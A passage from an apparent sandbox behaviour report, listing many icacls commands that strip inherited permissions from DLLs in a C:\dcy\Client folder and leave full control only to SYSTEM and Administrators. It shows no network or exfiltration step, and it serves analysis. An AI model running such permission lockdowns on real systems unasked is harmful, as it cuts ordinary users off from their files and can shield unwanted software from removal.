        icacls "C:\dcy\Client\Microsoft.AspNetCore.Routing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4316
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.HttpSys.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5160
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.IIS.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6052
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.IISIntegration.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:948
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.Kestrel.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5672
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.Kestrel.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3036
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.Kestrel.Transport.NamedPipes.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2288
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.Kestrel.Transport.Quic.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:1432
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.Kestrel.Transport.Sockets.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5944
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Session.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:912
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.SignalR.Common.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2540
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.SignalR.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3672
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.SignalR.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3500
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.SignalR.Protocols.Json.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:748
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.StaticFiles.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3216
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.WebSockets.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1900
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.WebUtilities.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3944
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.CSharp.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4400
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Data.Sqlite.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4788
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.DiaSymReader.Native.amd64.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5588
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Caching.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4732
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Caching.Memory.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3128
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:692
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.Binder.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3184
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.CommandLine.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3220
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1868
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.EnvironmentVariables.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1616
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.FileExtensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2368
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.Ini.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2088
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.Json.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5892
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.KeyPerFile.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4528
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.UserSecrets.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1512
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.Xml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5012
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.DependencyInjection.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3416
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.DependencyInjection.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6128
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Diagnostics.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2760
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Diagnostics.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5368
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Diagnostics.HealthChecks.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4588
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Diagnostics.HealthChecks.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1464
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Features.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4252
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.FileProviders.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4276
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.FileProviders.Composite.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3000
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.FileProviders.Embedded.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3840
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.FileProviders.Physical.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1240
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.FileSystemGlobbing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5840
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Hosting.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5040
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Hosting.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4496
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Hosting.WindowsServices.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5712
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Http.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2652
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Identity.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6080
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Identity.Stores.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5420
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Localization.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1508
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Localization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:244
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1396
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.Configuration.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3104
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.Console.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5800
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.Debug.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3056
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:120
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.EventLog.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5292
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.EventSource.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6052
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.TraceSource.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:204
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.ObjectPool.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5864
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Options.ConfigurationExtensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3112
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Options.DataAnnotations.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6112
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Options.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3312
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1280
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.WebEncoders.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2460
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.JSInterop.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4372
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Net.Http.Headers.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5032
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.VisualBasic.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3036
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.VisualBasic.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5696
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.VisualBasic.Forms.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2288
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Win32.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4296
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Win32.Registry.AccessControl.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2864
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Win32.Registry.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2372
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Win32.SystemEvents.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3740
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ModernWpf.Controls.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3592
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\ModernWpf.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3580
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\mscordaccore.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2688
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\mscordaccore_amd64_amd64_8.0.2726.22922.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4268
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\mscordbi.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:400
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\mscorlib.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4208
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\mscorrc.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4844
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\msquic.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5944
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\netstandard.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4924
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PenImc_cor3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5972
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationCore.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:912
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework-SystemCore.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2720
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework-SystemData.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4424
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework-SystemDrawing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3672
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework-SystemXml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3780
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework-SystemXmlLinq.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5500
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework.Aero.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5856
